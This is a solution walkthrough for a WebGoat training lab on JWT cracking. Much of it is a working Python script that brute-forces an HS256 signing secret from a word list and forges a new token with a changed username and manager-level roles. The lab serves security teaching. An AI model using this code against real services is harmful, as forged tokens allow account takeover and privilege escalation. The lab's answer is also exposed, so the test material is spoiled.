JWT Tokens (5)

JWT cracking

With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key we can create a new token and sign it. So it is very important the key is strong enough so a brute force or dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.

Assignment

Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5MDczNTQ3NiwiZXhwIjoxNTkwNzM1NTM2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.28VXP4trt_uDrKM7Dn10ZotOhYoOhJy3dL-xu5boKzc

Solution

💡 Save the token and try to verify the token locally 💡 Download a word list dictionary (https://github.com/first20hours/google-10000-english) 💡 Write a small program or use HashCat for brute forcing the token according the word list

It is possible to validate this challenge with tools like johntheripper and https://jwt.io/, but in order to get a better understanding of the whole process, here a Python script.

• Isolate the signature, and reformat it correctly.

• Use each word of the dictionary as a key, calculate the HMAC of the initial message, convert it to base64, and compare it with the signature.

• If there is a match, the dictionary word is the key used (value found : victory).

• Then calculate the new signature with the modified message

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJ
pYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ
0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmN
vbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.dImA6LEwQc1-ZqVP
WWGE01u1jO2a-yfx8lZetbDqiTc

import base64  
import hashlib  
import hmac  
  
def jwt_tokens_5():  
     token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'.split('.')  
  
     payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[e-mail]","username":"WebGoat","Email":"[e-mail]","Role":["Manager","Project Administrator"]}'.encode()  
  
     unsigned_token = (token[0] + '.' + token[1]).encode()  
  
     # signature is base64 URL encoded and padding has been removed, so we must add it  
     signature = (token[2] + '=' * (-len(token[2]) % 4)).encode()  
  
     with open('google-10000-english-master/google-10000-english.txt', 'r') as fd:  
         lines = [line.rstrip('\n').encode() for line in fd]  
  
     def hmac_base64(key, message):  
         return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest()))  
  
     for line in lines:  
         test = hmac_base64(line, unsigned_token)  
  
         if test == signature:  
             print('Key: {}'.format(line.decode()))  
             new_token = (token[0] + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()  
             new_signature = hmac_base64(line, new_token)  
             new_token += ('.' + new_signature.decode().rstrip('=')).encode()  
             print('New token: {}'.format(new_token.decode()))  
             return  
  
jwt_tokens_5()